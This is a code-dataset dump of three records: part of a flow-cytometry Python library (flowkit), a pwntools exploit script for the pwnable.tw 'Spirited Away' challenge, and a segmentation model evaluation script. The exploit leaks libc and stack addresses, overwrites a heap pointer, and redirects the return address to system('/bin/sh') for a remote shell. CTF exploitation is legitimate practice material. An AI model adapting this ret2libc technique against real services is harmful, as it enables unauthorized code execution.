anomalous_idx = qc_utils.filter_anomalous_events(\n xform_events[:, eval_indices],\n eval_labels,\n rng=rng,\n ref_set_count=3,\n p_value_threshold=p_value_threshold,\n ref_size=ref_size,\n plot=plot\n )\n self.anomalous_indices = anomalous_idx\n\n if reapply_subsample and self._subsample_count is not None:\n self.subsample_events(self._subsample_count, self._subsample_seed)\n\n def subsample_events(\n self,\n subsample_count=10000,\n random_seed=1\n ):\n \"\"\"\n Returns a sub-sample of FCS raw events\n\n Returns NumPy array if sub-sampling succeeds\n Also updates self.subsample_indices\n\n :param subsample_count: Number of events to use as a sub-sample. If the number of\n events in the Sample is less than the requested sub-sample count, then the\n maximum number of available events is used for the sub-sample.\n :param random_seed: Random seed used for sub-sampling events\n \"\"\"\n # get raw event count as it might be less than original event count\n # due to filtered negative scatter events\n raw_event_count = self._raw_events.shape[0]\n shuffled_indices = np.arange(raw_event_count)\n\n self._subsample_seed = random_seed\n rng = np.random.RandomState(seed=self._subsample_seed)\n\n bad_idx = np.empty(0, dtype=int)\n\n if self.negative_scatter_indices is not None:\n bad_idx = self.negative_scatter_indices\n\n if self.anomalous_indices is not None:\n bad_idx = np.unique(np.concatenate([bad_idx, self.anomalous_indices]))\n\n bad_count = bad_idx.shape[0]\n if bad_count > 0:\n shuffled_indices = np.delete(shuffled_indices, bad_idx)\n\n if (raw_event_count - bad_count) < subsample_count:\n # if total event count is less than requested subsample count,\n # sub-sample will be all events (minus negative scatter if filter is True)\n self._subsample_count = self.event_count - bad_count\n else:\n self._subsample_count = subsample_count\n\n # generate random indices for subsample\n # using a new RandomState with given seed\n rng.shuffle(shuffled_indices)\n\n self.subsample_indices = shuffled_indices[:self._subsample_count]\n\n def apply_compensation(self, compensation, comp_id='custom_spill'):\n \"\"\"\n Applies given compensation matrix to Sample events. If any\n transformation has been applied, those events will be deleted.\n Compensated events can be retrieved afterward by calling\n `get_comp_events`.\n\n :param compensation: Compensation matrix, which can be a:\n\n - Matrix instance\n - NumPy array\n - CSV file path\n - pathlib Path object to a CSV or TSV file\n - string of CSV text\n\n If a string, both multi-line traditional CSV, and the single\n line FCS spill formats are supported. If a NumPy array, we\n assume the columns are in the same order as the channel labels.\n :param comp_id: text ID for identifying compensation matrix\n :return: None\n \"\"\"\n if isinstance(compensation, Matrix):\n self.compensation = compensation\n self._comp_events = self.compensation.apply(self)\n elif compensation is not None:\n detectors = [self.pnn_labels[i] for i in self.fluoro_indices]\n fluorochromes = [self.pns_labels[i] for i in self.fluoro_indices]\n self.compensation = Matrix(comp_id, compensation, detectors, fluorochromes)\n self._comp_events = self.compensation.apply(self)\n else:\n # compensation must be None so clear any matrix and comp events\n self.compensation = None\n self._comp_events = None\n\n # Clear any previously transformed events\n # TODO: Consider caching the transform and re-applying\n self._transformed_events = None\n\n def get_metadata(self):\n \"\"\"\n Retrieve FCS metadata\n\n :return: Dictionary of FCS metadata\n \"\"\"\n return self.metadata\n\n def get_orig_events(self, subsample=False):\n \"\"\"\n Returns 'original' events, i.e. not pre-processed, compensated,\n or transformed.\n\n :param subsample: Whether to return all events or just the sub-sampled\n events. Default is False (all events)\n :return: NumPy array of original events\n \"\"\"\n if subsample:\n return self._orig_events[self.subsample_indices]\n else:\n return self._orig_events\n\n def get_raw_events(self, subsample=False):\n \"\"\"\n Returns 'raw' events that have been pre-processed to adjust for channel\n gain and lin/log display, but have not been compensated or transformed.\n\n :param subsample: Whether to return all events or just the sub-sampled\n events. Default is False (all events)\n :return: NumPy array of raw events\n \"\"\"\n if subsample:\n return self._raw_events[self.subsample_indices]\n else:\n return self._raw_events\n\n # TODO: make event type names/references consistent across the API...is it xform/transform comp/compensated, etc.\n def get_comp_events(self, subsample=False):\n \"\"\"\n Returns compensated events, (not transformed)\n\n :param subsample: Whether to return all events or just the sub-sampled\n events. Default is False (all events)\n :return: NumPy array of compensated events or None if no compensation\n matrix has been applied.\n \"\"\"\n if self._comp_events is None:\n warnings.warn(\n \"No compensation has been applied, call 'compensate' method first.\",\n UserWarning\n )\n return None\n\n if subsample:\n return self._comp_events[self.subsample_indices]\n else:\n return self._comp_events\n\n def get_transformed_events(self, subsample=False):\n \"\"\"\n Returns transformed events. Note, if a compensation matrix has been\n applied then the events returned will be compensated and transformed.\n\n :param subsample: Whether to return all events or just the sub-sampled\n events. Default is False (all events)\n :return: NumPy array of transformed events or None if no transform\n has been applied.\n \"\"\"\n if self._transformed_events is None:\n warnings.warn(\n \"No transform has been applied, call a transform method first.\",\n UserWarning\n )\n return None\n\n if subsample:\n return self._transformed_events[self.subsample_indices]\n else:\n return self._transformed_events\n\n def as_dataframe(self, source='xform', subsample=False, col_order=None, col_names=None):\n \"\"\"\n Returns a Pandas DataFrame of event data\n\n :param source: 'orig', 'raw', 'comp', 'xform' for whether the original (no gain applied),\n raw (orig + gain), compensated (raw + comp), or transformed (comp + xform) events will\n be returned\n :param subsample: Whether to return all events or just the sub-sampled\n events. Default is False (all events)\n :param col_order: list of PnN labels. Determines the order of columns\n in the output DataFrame. If None, the column order will match the FCS file.\n :param col_names: list of new column labels. If None (default), the DataFrame\n columns will be a MultiIndex of the PnN / PnS labels.\n :return: Pandas DataFrame of event data\n \"\"\"\n if source == 'xform':\n events = self.get_transformed_events(subsample=subsample)\n elif source == 'comp':\n events = self.get_comp_events(subsample=subsample)\n elif source == 'raw':\n events = self.get_raw_events(subsample=subsample)\n elif source == 'orig':\n events = self.get_orig_events(subsample=subsample)\n else:\n raise ValueError(\"source must be one of 'orig', 'raw', 'comp', or 'xform'\")\n\n multi_cols = pd.MultiIndex.from_arrays([self.pnn_labels, self.pns_labels], names=['pnn', 'pns'])\n events_df = pd.DataFrame(data=events, columns=multi_cols)\n\n if col_order is not None:\n events_df = events_df[col_order]\n\n if col_names is not None:\n events_df.columns = col_names\n\n return events_df\n\n def get_channel_number_by_label(self, label):\n \"\"\"\n Returns the channel number for the given PnN label. Note, this is the\n channel number as defined in the FCS data (not the channel index), so\n the 1st channel's number is 1 (not 0).\n\n :param label: PnN label of a channel\n :return: Channel number (not index)\n \"\"\"\n if label in self.pnn_labels:\n return self.pnn_labels.index(label) + 1\n else:\n # as a last resort we can try the FJ labels and fail if no match\n return self._flowjo_pnn_labels.index(label) + 1\n\n def get_channel_index(self, channel_label_or_number):\n \"\"\"\n Returns the channel index for the given PnN label. Note, this is\n different from the channel number. The 1st channel's index is 0 (not 1).\n\n :param channel_label_or_number: A channel's PnN label or number\n :return: Channel index\n \"\"\"\n if isinstance(channel_label_or_number, str):\n index = self.get_channel_number_by_label(channel_label_or_number) - 1\n elif isinstance(channel_label_or_number, int):\n if channel_label_or_number < 1:\n raise ValueError(\"Channel numbers are indexed at 1, got %d\" % channel_label_or_number)\n index = channel_label_or_number - 1\n else:\n raise ValueError(\"x_label_or_number must be a label string or channel number\")\n\n return index\n\n def get_channel_data(self, channel_index, source='xform', subsample=False):\n \"\"\"\n Returns a NumPy array of event data for the specified channel index.\n\n :param channel_index: Channel index for which data is returned\n :param source: 'raw', 'comp', 'xform' for whether the raw, compensated\n or transformed events will be returned\n :param subsample: Whether to return all events or just the sub-sampled\n events. Default is False (all events)\n :return: NumPy array of event data for the specified channel index\n \"\"\"\n if subsample:\n if not isinstance(self.subsample_indices, np.ndarray):\n raise ValueError(\"Subsampling requested, but sample hasn't been sub-sampled: call `subsample_events`\")\n idx = self.subsample_indices\n else:\n idx = np.arange(self.event_count)\n\n if source == 'xform':\n channel_data = self._transformed_events[idx, channel_index]\n elif source == 'comp':\n channel_data = self._comp_events[idx, channel_index]\n elif source == 'raw':\n channel_data = self._raw_events[idx, channel_index]\n else:\n raise ValueError(\"source must be one of 'raw', 'comp', or 'xform'\")\n\n return channel_data\n\n def _transform(self, transform, include_scatter=False):\n if isinstance(transform, _transforms.RatioTransform):\n raise NotImplementedError(\n \"RatioTransform cannot be applied to a Sample instance directly.\\n\"\n \"To apply a RatioTransform, either:\\n\"\n \" 1) Provide the Sample instance to the transform `apply` method\\n\"\n \" 2) Use the RatioTransform as part of a GatingStrategy\\n\"\n )\n\n if self._comp_events is not None:\n transformed_events = self._comp_events.copy()\n else:\n transformed_events = self._raw_events.copy()\n\n if isinstance(transform, dict):\n for pnn_label, param_xform in transform.items():\n param_idx = self.get_channel_index(pnn_label)\n\n transformed_events[:, param_idx] = param_xform.apply(\n transformed_events[:, param_idx]\n )\n else:\n if include_scatter:\n transform_indices = self.scatter_indices + self.fluoro_indices\n else:\n transform_indices = self.fluoro_indices\n\n transformed_events[:, transform_indices] = transform.apply(\n transformed_events[:, transform_indices]\n )\n\n return transformed_events\n\n def apply_transform(self, transform, include_scatter=False):\n \"\"\"\n Applies given transform to Sample events, and overwrites the `transform` attribute.\n By default, only the fluorescent channels are transformed. For fully customized transformations\n per channel, the `transform` can be specified as a dictionary mapping PnN labels to an instance\n of the Transform sub-class. If a dictionary of transforms is specified, the `include_scatter`\n option is ignored and only the channels explicitly included in the transform dictionary will\n be transformed.\n\n :param transform: an instance of a Transform sub-class or a dictionary where the keys correspond\n to the PnN labels and the value is an instance of a Transform sub-class.\n :param include_scatter: Whether to transform the scatter channel in addition to the\n fluorescent channels. Default is False.\n \"\"\"\n\n self._transformed_events = self._transform(transform, include_scatter=include_scatter)\n self.transform = transform\n\n def plot_contour(\n self,\n x_label_or_number,\n y_label_or_number,\n source='xform',\n subsample=False,\n plot_contour=True,\n plot_events=False,\n x_min=None,\n x_max=None,\n y_min=None,\n y_max=None,\n fig_size=(8, 8)\n ):\n \"\"\"\n Returns a contour plot of the specified channel events, available\n as raw, compensated, or transformed data.\n\n :param x_label_or_number: A channel's PnN label or number for x-axis\n data\n :param y_label_or_number: A channel's PnN label or number for y-axis\n data\n :param source: 'raw', 'comp', 'xform' for whether the raw, compensated\n or transformed events are used for plotting\n :param subsample: Whether to use all events for plotting or just the\n sub-sampled events. Default is False (all events). Plotting\n sub-sampled events can be much faster.\n :param plot_contour: Whether to display the contour lines. Default is True.\n :param plot_events: Whether to display the event data points in\n addition to the contours. Default is False.\n :param x_min: Lower bound of x-axis. If None, channel's min value will\n be used with some padding to keep events off the edge of the plot.\n :param x_max: Upper bound of x-axis. If None, channel's max value will\n be used with some padding to keep events off the edge of the plot.\n :param y_min: Lower bound of y-axis. If None, channel's min value will\n be used with some padding to keep events off the edge of the plot.\n :param y_max: Upper bound of y-axis. If None, channel's max value will\n be used with some padding to keep events off the edge of the plot.\n :param fig_size: Tuple of 2 values specifying the size of the returned\n figure. Values are in Matplotlib size units.\n :return: Matplotlib figure of the contour plot\n \"\"\"\n x_index = self.get_channel_index(x_label_or_number)\n y_index = self.get_channel_index(y_label_or_number)\n\n x = self.get_channel_data(x_index, source=source, subsample=subsample)\n y = self.get_channel_data(y_index, source=source, subsample=subsample)\n\n x_min, x_max = plot_utils.calculate_extent(x, d_min=x_min, d_max=x_max, pad=0.02)\n y_min, y_max = plot_utils.calculate_extent(y, d_min=y_min, d_max=y_max, pad=0.02)\n\n fig, ax = plt.subplots(figsize=fig_size)\n ax.set_title(self.original_filename)\n\n ax.set_xlim([x_min, x_max])\n ax.set_ylim([y_min, y_max])\n ax.set_xlabel(self.pnn_labels[x_index])\n ax.set_ylabel(self.pnn_labels[y_index])\n\n if plot_events:\n seaborn.scatterplot(\n x=x,\n y=y,\n palette=plot_utils.new_jet,\n legend=False,\n s=5,\n linewidth=0,\n alpha=0.4\n )\n\n if plot_contour:\n seaborn.kdeplot(\n x=x,\n y=y,\n bw_method='scott',\n cmap=plot_utils.new_jet,\n linewidths=2,\n alpha=1\n )\n\n return fig\n\n def plot_scatter(\n self,\n x_label_or_number,\n y_label_or_number,\n source='xform',\n subsample=False,\n color_density=True,\n x_min=None,\n x_max=None,\n y_min=None,\n y_max=None\n ):\n \"\"\"\n Returns an interactive scatter plot for the specified channel data.\n\n :param x_label_or_number: A channel's PnN label or number for x-axis\n data\n :param y_label_or_number: A channel's PnN label or number for y-axis\n data\n :param source: 'raw', 'comp', 'xform' for whether the raw, compensated\n or transformed events are used for plotting\n :param subsample: Whether to use all events for plotting or just the\n sub-sampled events. Default is False (all events). Plotting\n sub-sampled events can be much faster.\n :param color_density: Whether to color the events by density, similar\n to a heat map. Default is True.\n :param x_min: Lower bound of x-axis. If None, channel's min value will\n be used with some padding to keep events off the edge of the plot.\n :param x_max: Upper bound of x-axis. If None, channel's max value will\n be used with some padding to keep events off the edge of the plot.\n :param y_min: Lower bound of y-axis. If None, channel's min value will\n be used with some padding to keep events off the edge of the plot.\n :param y_max: Upper bound of y-axis. If None, channel's max value will\n be used with some padding to keep events off the edge of the plot.\n :return: A Bokeh Figure object containing the interactive scatter plot.\n \"\"\"\n # First, sanity check on requested source type\n if source == 'xform' and self._transformed_events is None:\n raise AttributeError(\n \"Transformed events were requested but do not exist.\\n\"\n \"Have you called a transform method? \\n\"\n \"Or, maybe you meant to plot the non-transformed events? If so, use the source='raw' option.\"\n )\n\n x_index = self.get_channel_index(x_label_or_number)\n y_index = self.get_channel_index(y_label_or_number)\n\n x = self.get_channel_data(x_index, source=source, subsample=subsample)\n y = self.get_channel_data(y_index, source=source, subsample=subsample)\n\n dim_labels = []\n\n if self.pns_labels[x_index] != '':\n dim_labels.append('%s (%s)' % (self.pns_labels[x_index], self.pnn_labels[x_index]))\n else:\n dim_labels.append(self.pnn_labels[x_index])\n\n if self.pns_labels[y_index] != '':\n dim_labels.append('%s (%s)' % (self.pns_labels[y_index], self.pnn_labels[y_index]))\n else:\n dim_labels.append(self.pnn_labels[y_index])\n\n p = plot_utils.plot_scatter(\n x,\n y,\n dim_labels,\n x_min=x_min,\n x_max=x_max,\n y_min=y_min,\n y_max=y_max,\n color_density=color_density\n )\n\n p.title = Title(text=self.original_filename, align='center')\n\n return p\n\n def plot_scatter_matrix(\n self,\n source='xform',\n subsample=False,\n channel_labels_or_numbers=None,\n color_density=False,\n plot_height=256,\n plot_width=256\n ):\n \"\"\"\n Returns an interactive scatter plot matrix for all channel combinations\n except for the Time channel.\n\n :param source: 'raw', 'comp', 'xform' for whether the raw, compensated\n or transformed events are used for plotting\n :param subsample: Whether to use all events for plotting or just the\n sub-sampled events. Default is False (all events). Plotting\n sub-sampled events can be much faster.\n :param channel_labels_or_numbers: List of channel PnN labels or channel\n numbers to use for the scatter plot matrix. If None, then all\n channels will be plotted (except Time).\n :param color_density: Whether to color the events by density, similar\n to a heat map. Default is False.\n :param plot_height: Height of plot in pixels (screen units)\n :param plot_width: Width of plot in pixels (screen units)\n :return: A Bokeh Figure object containing the interactive scatter plot\n matrix.\n \"\"\"\n plots = []\n channels = []\n\n if channel_labels_or_numbers is None:\n channels = self.pnn_labels\n else:\n for c in channel_labels_or_numbers:\n c_index = self.get_channel_index(c)\n c_label = self.pnn_labels[c_index]\n\n if c_label not in channels:\n channels.append(c_label)\n\n for channel_y in channels:\n if channel_y == 'Time':\n continue\n row = []\n for channel_x in channels:\n if channel_x == 'Time':\n continue\n\n plot = self.plot_scatter(\n channel_x,\n channel_y,\n source=source,\n subsample=subsample,\n color_density=color_density\n )\n plot.height = plot_height\n plot.width = plot_width\n row.append(plot)\n plots.append(row)\n\n grid = gridplot(plots)\n\n return grid\n\n def plot_histogram(\n self,\n channel_label_or_number,\n source='xform',\n subsample=False,\n bins=None\n ):\n \"\"\"\n Returns a histogram plot of the specified channel events, available\n as raw, compensated, or transformed data. Plot also contains a curve\n of the gaussian kernel density estimate.\n\n :param channel_label_or_number: A channel's PnN label or number to use\n for plotting the histogram\n :param source: 'raw', 'comp', 'xform' for whether the raw, compensated\n or transformed events are used for plotting\n :param subsample: Whether to use all events for plotting or just the\n sub-sampled events. Default is False (all events). Plotting\n sub-sampled events can be much faster.\n :param bins: Number of bins to use for the histogram. If None, the\n number of bins is determined by the Freedman-Diaconis rule.\n :return: Matplotlib figure of the histogram plot with KDE curve.\n \"\"\"\n\n channel_index = self.get_channel_index(channel_label_or_number)\n channel_data = self.get_channel_data(channel_index, source=source, subsample=subsample)\n\n p = plot_utils.plot_histogram(\n channel_data,\n x_label=self.pnn_labels[channel_index],\n bins=bins\n )\n\n p.title = Title(text=self.original_filename, align='center')\n\n return p\n\n def export(\n self,\n filename,\n source='xform',\n exclude=None,\n subsample=False,\n directory=None\n ):\n \"\"\"\n Export Sample event data to either a new FCS file or a CSV file. Format determined by filename extension.\n\n :param filename: Text string to use for the exported file name.\n :param source: 'orig', 'raw', 'comp', 'xform' for whether the original (no gain applied),\n raw (orig + gain), compensated (raw + comp), or transformed (comp + xform) events are\n used for exporting\n :param exclude: Specifies whether to exclude events. Options are 'good', 'bad', or None.\n 'bad' excludes neg. scatter or anomalous, 'good' will export the bad events.\n Default is None (exports all events)\n :param subsample: Whether to export all events or just the\n sub-sampled events. Default is False (all events).\n :param directory: Directory path where the CSV will be saved\n :return: None\n \"\"\"\n if directory is not None:\n output_path = os.path.join(directory, filename)\n else:\n output_path = filename\n\n if subsample:\n idx = np.zeros(self.event_count, bool)\n idx[self.subsample_indices] = True\n else:\n # include all events to start with\n idx = np.ones(self.event_count, bool)\n\n if exclude == 'bad':\n idx[self.anomalous_indices] = False\n elif exclude == 'good':\n good_idx = np.zeros(self.event_count, bool)\n good_idx[self.anomalous_indices] = True\n idx = np.logical_and(idx, good_idx)\n\n if source == 'xform':\n events = self._transformed_events[idx, :]\n elif source == 'comp':\n events = self._comp_events[idx, :]\n elif source == 'raw':\n events = self._raw_events[idx, :]\n elif source == 'orig':\n events = self._orig_events[idx, :]\n else:\n raise ValueError(\"source must be one of 'orig', 'raw', 'comp', or 'xform'\")\n\n ext = os.path.splitext(filename)[-1]\n\n # TODO: support exporting to HDF5 format, but as optional dependency/import\n if ext == '.csv':\n np.savetxt(\n output_path,\n events,\n delimiter=',',\n header=\",\".join(self.pnn_labels),\n comments=''\n )\n elif ext == '.fcs':\n fh = open(output_path, 'wb')\n\n flowio.create_fcs(\n events.flatten().tolist(),\n channel_names=self.pnn_labels,\n opt_channel_names=self.pns_labels,\n file_handle=fh\n )\n fh.close()\n","sub_path":"flowkit/_models/sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":38715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"293420480","text":"from pwn import *\n\n#p = process('./spirited_away')\np = remote('chall.pwnable.tw', 10204)\np.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\ne = ELF('./spirited_away')\nl = ELF('./libc_32.so.6')\n#l = ELF('/lib/i386-linux-gnu/libc.so.6')\n\n#gdb.attach(p)\n\ndef snd(name='11', age='22', reason='33', comment='44'):\n p.sendafter('Please enter your name:', name)\n p.sendlineafter('Please enter your age:', age)\n p.sendafter('Why did you came to see this movie?', reason)\n p.sendafter('Please enter your comment:', comment)\n\ndef say(what):\n p.sendlineafter(':', what[0])\n\n# leak libc & stack\nsnd(reason='A'*56)\np.recvuntil('Reason: ')\np.recv(56)\nstack_addr = u32(p.recv(4)) - 0x20 # +4 => ret\n # -80 => &reason\nlog.info('Stack : ' + hex(stack_addr))\nleak_libc_offset = l.symbols['fflush'] + 11\np.recv(4)\nlibc_addr = u32(p.recv(4)) - leak_libc_offset\nsystem_addr = libc_addr + l.symbols['system']\nbinsh_addr = libc_addr + next(l.search(\"/bin/sh\\x00\"))\nlog.info('Libc : ' + hex(libc_addr))\nsay('yes')\n\n\n# increase cnt to override nbyte for later overwriting &heap_name\ncnt_log = log.progress( 'Increase count of comment ...' )\nfor i in xrange(100): \n cnt_log.status(str(i))\n snd()\n say('yes')\n\ncnt_log.success('Successfully override nbyte for reading comment!')\n\n# set heap_name => stack\nstack_offset = 0x40\nsnd(reason = p32(0x40)*(80/4) , # fake chunk size\n comment = p32(0x40)*(84/4) + p32(stack_addr-stack_offset)) # overwrite &heap_name\nsay('yes')\n\n# overwrite ret => system\nsnd(name = 'A'*(stack_offset+4) + p32(system_addr) + 'A'*4 + p32(binsh_addr))\nsay('no')\n\np.interactive()\n","sub_path":"pwnable.tw/Spirited Away/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"416203989","text":"import argparse\nimport scipy\nfrom scipy import ndimage\nimport numpy as np\nimport sys\nfrom packaging import version\nfrom multiprocessing import Pool\nimport torch\nfrom torch.autograd import Variable\nimport torchvision.models as models\nimport torch.nn.functional as F\nfrom torch.utils import data, model_zoo\nfrom model.deeplab import Res_Deeplab\nfrom model.deeplab_multi import DeeplabMulti\nfrom model.deeplab_vgg import DeeplabVGG\nfrom dataset.cityscapes_dataset import cityscapesDataSet\nfrom dataset.dark_zurich_dataset import DarkZurichDataSet\nfrom collections import OrderedDict\nimport os\nfrom PIL import Image\nfrom utils.tool import fliplr\nimport matplotlib.pyplot as plt\nimport torch.nn as nn\nimport yaml\nimport time\n\ntorch.backends.cudnn.benchmark=True\n\nIMG_MEAN = np.array((104.00698793,116.66876762,122.67891434), dtype=np.float32)\n\nDATA_DIRECTORY = './data/Cityscapes/data'\nDATA_LIST_PATH = './dataset/cityscapes_list/val.txt'\nSAVE_PATH = './result/cityscapes'\n\nIGNORE_LABEL = 255\nNUM_CLASSES = 19\nNUM_STEPS = 500 # Number of images in the validation set.\nRESTORE_FROM = 'http://vllab.ucmerced.edu/ytsai/CVPR18/GTA2Cityscapes_multi-ed35151c.pth'\nRESTORE_FROM_VGG = 'http://vllab.ucmerced.edu/ytsai/CVPR18/GTA2Cityscapes_vgg-ac4ac9f6.pth'\nRESTORE_FROM_ORC = 'http://vllab1.ucmerced.edu/~whung/adaptSeg/cityscapes_oracle-b7b9934.pth'\nSET = 'test'\n\nMODEL = 'DeeplabMulti'\n\npalette = [128, 64, 128, 244, 35, 232, 70, 70, 70, 102, 102, 156, 190, 153, 153, 153, 153, 153, 250, 170, 30,\n 220, 220, 0, 107, 142, 35, 152, 251, 152, 70, 130, 180, 220, 20, 60, 255, 0, 0, 0, 0, 142, 0, 0, 70,\n 0, 60, 100, 0, 80, 100, 0, 0, 230, 119, 11, 32]\nzero_pad = 256 * 3 - len(palette)\nfor i in range(zero_pad):\n palette.append(0)\n\n\ndef colorize_mask(mask):\n # mask: numpy array of the mask\n new_mask = Image.fromarray(mask.astype(np.uint8)).convert('P')\n new_mask.putpalette(palette)\n\n return new_mask\n\ndef get_arguments():\n \"\"\"Parse all the arguments provided from the CLI.\n\n Returns:\n A list of parsed arguments.\n \"\"\"\n parser = argparse.ArgumentParser(description=\"DeepLab-ResNet Network\")\n parser.add_argument(\"--model\", type=str, default=MODEL,\n help=\"Model Choice (DeeplabMulti/DeeplabVGG/Oracle).\")\n parser.add_argument(\"--data-dir\", type=str, default=DATA_DIRECTORY,\n help=\"Path to the directory containing the Cityscapes dataset.\")\n parser.add_argument(\"--data-list\", type=str, default=DATA_LIST_PATH,\n help=\"Path to the file listing the images in the dataset.\")\n parser.add_argument(\"--ignore-label\", type=int, default=IGNORE_LABEL,\n help=\"The index of the label to ignore during the training.\")\n parser.add_argument(\"--num-classes\", type=int, default=NUM_CLASSES,\n help=\"Number of classes to predict (including background).\")\n parser.add_argument(\"--restore-from\", type=str, default=RESTORE_FROM,\n help=\"Where restore model parameters from.\")\n parser.add_argument(\"--gpu\", type=int, default=0,\n help=\"choose gpu device.\")\n parser.add_argument(\"--batchsize\", type=int, default=8,\n help=\"choose gpu device.\")\n parser.add_argument(\"--set\", type=str, default=SET,\n help=\"choose evaluation set.\")\n parser.add_argument(\"--save\", type=str, default=SAVE_PATH,\n help=\"Path to save result.\")\n return parser.parse_args()\n\ndef save(output_name):\n output, name = output_name\n output_col = colorize_mask(output)\n output = Image.fromarray(output)\n\n output.save('%s' % (name))\n output_col.save('%s_color.png' % (name.split('.jpg')[0]))\n return\n\ndef save_heatmap(output_name):\n output, name = output_name\n fig = plt.figure()\n plt.axis('off')\n heatmap = plt.imshow(output, cmap='viridis')\n #fig.colorbar(heatmap)\n fig.savefig('%s_heatmap.png' % (name.split('.jpg')[0]))\n return\n\ndef save_scoremap(output_name):\n output, name = output_name\n fig = plt.figure()\n plt.axis('off')\n heatmap = plt.imshow(output, cmap='viridis')\n #fig.colorbar(heatmap)\n fig.savefig('%s_scoremap.png' % (name.split('.jpg')[0]))\n return\n\ndef main():\n \"\"\"Create the model and start the evaluation process.\"\"\"\n args = get_arguments()\n\n config_path = os.path.join(os.path.dirname(args.restore_from),'opts.yaml')\n with open(config_path, 'r') as stream:\n config = yaml.load(stream)\n\n args.model = config['model']\n print('ModelType:%s'%args.model)\n print('NormType:%s'%config['norm_style'])\n gpu0 = args.gpu\n batchsize = args.batchsize\n\n model_name = os.path.basename( os.path.dirname(args.restore_from) )\n args.save += model_name\n\n if not os.path.exists(args.save):\n os.makedirs(args.save)\n\n if args.model == 'DeepLab':\n model = DeeplabMulti(num_classes=args.num_classes, use_se = config['use_se'], train_bn = False, norm_style = config['norm_style'])\n elif args.model == 'Oracle':\n model = Res_Deeplab(num_classes=args.num_classes)\n if args.restore_from == RESTORE_FROM:\n args.restore_from = RESTORE_FROM_ORC\n elif args.model == 'DeeplabVGG':\n model = DeeplabVGG(num_classes=args.num_classes)\n if args.restore_from == RESTORE_FROM:\n args.restore_from = RESTORE_FROM_VGG\n\n if args.restore_from[:4] == 'http' :\n saved_state_dict = model_zoo.load_url(args.restore_from)\n else:\n saved_state_dict = torch.load(args.restore_from)\n\n try:\n model.load_state_dict(saved_state_dict)\n except:\n model = torch.nn.DataParallel(model)\n model.load_state_dict(saved_state_dict)\n #model = torch.nn.DataParallel(model)\n model.eval()\n model.cuda(gpu0)\n\n testloader = data.DataLoader(DarkZurichDataSet(args.data_dir, args.data_list, crop_size=(512, 1024), resize_size=(1024, 512), mean=IMG_MEAN, scale=False, mirror=False, set=args.set),\n batch_size=batchsize, shuffle=False, pin_memory=True, num_workers=4)\n\n scale = 1.25\n testloader2 = data.DataLoader(DarkZurichDataSet(args.data_dir, args.data_list, crop_size=(round(512*scale), round(1024*scale) ), resize_size=( round(1024*scale), round(512*scale)), mean=IMG_MEAN, scale=False, mirror=False, set=args.set),\n batch_size=batchsize, shuffle=False, pin_memory=True, num_workers=4)\n scale = 0.9\n testloader3 = data.DataLoader(DarkZurichDataSet(args.data_dir, args.data_list, crop_size=(round(512*scale), round(1024*scale) ), resize_size=( round(1024*scale), round(512*scale)), mean=IMG_MEAN, scale=False, mirror=False, set=args.set),\n batch_size=batchsize, shuffle=False, pin_memory=True, num_workers=4)\n\n\n if version.parse(torch.__version__) >= version.parse('0.4.0'):\n interp = nn.Upsample(size=(1024, 2048), mode='bilinear', align_corners=True)\n else:\n interp = nn.Upsample(size=(1024, 2048), mode='bilinear')\n\n sm = torch.nn.Softmax(dim = 1)\n log_sm = torch.nn.LogSoftmax(dim = 1)\n kl_distance = nn.KLDivLoss( reduction = 'none')\n\n for index, img_data in enumerate(zip(testloader, testloader2, testloader3)):\n batch, batch2, batch3 = img_data\n image, _, name = batch\n image2, _, name2 = batch2\n #image3, _, _, name3 = batch3\n\n inputs = image.cuda()\n inputs2 = image2.cuda()\n #inputs3 = Variable(image3).cuda()\n print('\\r>>>>Extracting feature...%03d/%03d'%(index*batchsize, len(testloader)), end='')\n if args.model == 'DeepLab':\n with torch.no_grad():\n output1, output2 = model(inputs)\n output_batch = interp(sm(0.5* output1 + output2))\n heatmap_output1, heatmap_output2 = output1, output2\n #output_batch = interp(sm(output1))\n #output_batch = interp(sm(output2))\n output1, output2 = model(fliplr(inputs))\n output1, output2 = fliplr(output1), fliplr(output2)\n output_batch += interp(sm(0.5 * output1 + output2))\n heatmap_output1, heatmap_output2 = heatmap_output1+output1, heatmap_output2+output2\n #output_batch += interp(sm(output1))\n #output_batch += interp(sm(output2))\n del output1, output2, inputs\n\n output1, output2 = model(inputs2)\n output_batch += interp(sm(0.5* output1 + output2))\n #output_batch += interp(sm(output1))\n #output_batch += interp(sm(output2))\n output1, output2 = model(fliplr(inputs2))\n output1, output2 = fliplr(output1), fliplr(output2)\n output_batch += interp(sm(0.5 * output1 + output2))\n #output_batch += interp(sm(output1))\n #output_batch += interp(sm(output2))\n del output1, output2, inputs2\n output_batch = output_batch.cpu().data.numpy()\n heatmap_batch = torch.sum(kl_distance(log_sm(heatmap_output1), sm(heatmap_output2)), dim=1) \n heatmap_batch = torch.log(1 + 10*heatmap_batch) # for visualization\n heatmap_batch = heatmap_batch.cpu().data.numpy()\n\n #output1, output2 = model(inputs3)\n #output_batch += interp(sm(0.5* output1 + output2)).cpu().data.numpy()\n #output1, output2 = model(fliplr(inputs3))\n #output1, output2 = fliplr(output1), fliplr(output2)\n #output_batch += interp(sm(0.5 * output1 + output2)).cpu().data.numpy()\n #del output1, output2, inputs3\n elif args.model == 'DeeplabVGG' or args.model == 'Oracle':\n output_batch = model(Variable(image).cuda())\n output_batch = interp(output_batch).cpu().data.numpy()\n\n output_batch = output_batch.transpose(0,2,3,1)\n scoremap_batch = np.asarray(np.max(output_batch, axis=3))\n output_batch = np.asarray(np.argmax(output_batch, axis=3), dtype=np.uint8)\n output_iterator = []\n heatmap_iterator = []\n scoremap_iterator = []\n\n for i in range(output_batch.shape[0]):\n output_iterator.append(output_batch[i,:,:])\n heatmap_iterator.append(heatmap_batch[i,:,:]/np.max(heatmap_batch[i,:,:]))\n scoremap_iterator.append(1-scoremap_batch[i,:,:]/np.max(scoremap_batch[i,:,:]))\n name_tmp = name[i].split('/')[-1]\n name[i] = '%s/%s' % (args.save, name_tmp)\n with Pool(4) as p:\n p.map(save, zip(output_iterator, name) )\n p.map(save_heatmap, zip(heatmap_iterator, name) )\n p.map(save_scoremap, zip(scoremap_iterator, name) )\n\n del output_batch\n\n \n return 